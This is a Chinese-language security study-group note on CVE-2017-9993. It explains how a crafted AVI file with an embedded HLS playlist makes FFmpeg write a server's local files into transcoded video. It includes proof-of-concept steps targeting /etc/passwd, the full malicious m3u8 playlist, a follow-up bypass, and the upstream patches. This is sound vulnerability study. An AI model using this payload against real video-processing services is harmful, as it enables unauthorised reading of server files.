---
robots: index, follow
tags: CSC, 資安, 讀書會
description: Information Security
lang: zh-tw
dir: ltr
breaks: true
disqus: hackmd
GA: UA-100433652-1
---
CVE-2017-9993
=====
## problem
- AVI
- HLS m3u8 playlist
- FFmpeg
## Concept
FFmpeg可以處理可能包含對外部文件的引用的HLS播放列表,可以使用AVI文件中的GAB2字幕塊來觸發此功能,再通過XBIN編解碼器檢索轉換節點的本地文件,從而導致了可以在轉碼後的視頻里包含了本地文件。
原文網址:https://read01.com/aAaQMBm.html
### AVI
- [AVI](https://zh.wikipedia.org/wiki/AVI%E6%A0%BC%E5%BC%8F) 本身只是提供了這麼一個框架,內部的圖像資料和聲音順據格式可以是任意的編碼形式。但是由於索引放在了檔案尾部,所以在播放internet串流媒體時已屬力不從心。
- 利用 avi 文件中的 GAB2 字幕块,可以通过 XBIN codec 获取到视频转换网站的本地文件。
### FFmpeg
- [FFmpeg](https://zh.wikipedia.org/wiki/FFmpeg) 是一個自由軟體,可以執行音訊和視訊多種格式的錄影、**轉檔**、串流功能
- FFmpeg 可处理 [HLS](https://en.wikipedia.org/wiki/HTTP_Live_Streaming) 播放列表,而播放列表中已知可包含外部文件的援引。
- [HLS(HTTP Live Streaming)](http://huli.logdown.com/posts/1142411-livestreamming-hls-note): 把整個流分成一個個小的基於HTTP的文件(ts)來下載。在開始一個流媒體會話時,客戶端會下載一個包含 matadata 的 extended M3U (m3u8) playlist 文件,用於尋找可用的媒體流
- 如果是多级的 [m3u8索引](http://blog.csdn.net/cabbage2008/article/details/50522190) 的话,那就会从根索引文件开始,一层一层的往下去请求子的索引文件,获取最终的TS流文件的http请求地址与时间段。
## PoC
1. `wget https://raw.githubusercontent.com/neex/ffmpeg-avi-m3u-xbin/master/gen_xbin_avi.py`
2. 生成 avi: `python3 gen_xbin_avi.py file:///etc/passwd sxcurity.avi`
3. 上傳 sxcurity.avi 到會利用 ffmpeg 做處理的網站
4. ffmpeg 會自動作出處理:`ffmpeg -i sxcurity.avi output.mp4` 來生成 output.mp4 檔案
5. 而在處理成 output.mp4 的時候,就會把一開始寫的 `/etc/passwd` 以影片的方式,呈現出來
Demo: http://calee.com.tw
## Concept flow
1. 制作一个AVI格式的容器文件,其中包含GAP2格式的字幕和HLS播放列表
2. 列表中的外部文件特意写成/etc/passwd等希望读取内容的敏感文件
3. ffmpeg转码这样的AVI文件时,就会将其中的GAP2内容与/etc/passwd文件中的内容拼接为最终的字幕文本
4. 文本以xbin编码,最终会被ffmpeg转为视频帧
## Bug detail
- sxcurity.avi

- read_gab2sub()

- 如何判斷 XBIN: 在判断一个播放列表的格式时候,ffmpeg会读取播放列表的第一个segment,然后根据这个 segment 的url去请求文件内容,然后根据读取到的文件内容来判断格式
(以#EXT开头的都是m3u8文件中的标签,其他以#开头的是注释,不以#开头的是一个url)
```
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
### echoing b'XBIN\x1a \x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00'
#EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x4c4d465e0b95223279487316ffd9ec3a
#EXTINF:1,
#EXT-X-BYTERANGE: 16
/dev/zero
#EXT-X-KEY: METHOD=NONE
### echoing b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xbf\n'
#EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x140f0f1011b5223d79597717ffd95330
#EXTINF:1,
#EXT-X-BYTERANGE: 16
/dev/zero
#EXT-X-KEY: METHOD=NONE
#### External reference: reading 64 bytes from file:///etc/passwd (offset 0)
#EXTINF:1,
#EXT-X-BYTERANGE: 64@0
file:///etc/passwd
```
- #EXTM3U: 這個是m3u8
- #EXT-X-MEDIA-SEQUENCE:每一个media URI 在 PlayList中只有唯一的序号,相邻之间序号+1, 一个media URI并不是必须要包含的,如果没有,默认为0
- #EXTINF: duration 指定每个媒体段(ts)的持续时间(秒),仅对其后面的URI有效。
- #EXT-X-TARGETDURATION: 指定最大的媒体段时间长(秒)
- #EXT-X-KEY: 表示怎么对 media segments 进行解码。
- EXT-X-KEY 會解密出
`b'XBIN\x1a \x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00'`
- 然後用 ffmpeg 做轉檔

會發現他讀的影片格式已經是 xbin
- 之後 ffmpeg 做轉檔時,因為 HLS 寫好的,會一幀一幀的把 /etc/passwd 帶出來
- 生成新的 mp4 檔案
- 转码的目的就是把你上传视频的服务器文件写死在转码后的文件,就是你无论转成.mp4,flv都可以播放的
## patch
所做的修复就是在解析AVI时把GAB2字幕限制为常见的srt和ass格式,对于其它的内容直接报错
- [avformat/avidec: Limit formats in gab2 to srt and ass/ssa](https://github.com/FFmpeg/FFmpeg/commit/a5d849b149ca67ced2d271dc84db0bc95a548abb)
- [avformat/hls: Check local file extensions](https://github.com/FFmpeg/FFmpeg/commit/189ff4219644532bdfa7bab28dfedaee4d6d4021)
## new attack
https://hackerone.com/reports/243470
- ffmpeg 再處理 HLS 時,會先把 playlist 上要處理的每一格先合起來
- 利用 playlist 上的第一個檔案格式做完合起來的檔案格式
- ffmpeg 會對 .txt 做特殊處理,它会尝试将文件的内容以终端的方式打印在屏幕上
### So
新的生成檔會長這樣:

1. ffmpeg在 GAB2字幕块里面看到了#EXTM3U标签,认定文件类型是 HLS playlist
2. .txt 會在合成後,把合成檔當成 txt (GOD.txt 不需要存在,他只看 string)
3. 在合成大檔案後,就可以看到 /etc/passwd 了
## Reference
[演講](https://www.facebook.com/calee0219/posts/1486610381431088?pnref=story)
[ppt](https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.p)
- http://www.cnblogs.com/alisecurity/p/7273529.html
- https://zhuanlan.zhihu.com/p/28255225
- http://blog.shengbin.me/posts/a-vulnerability-of-ffmpeg
- http://paper.seebug.org/338/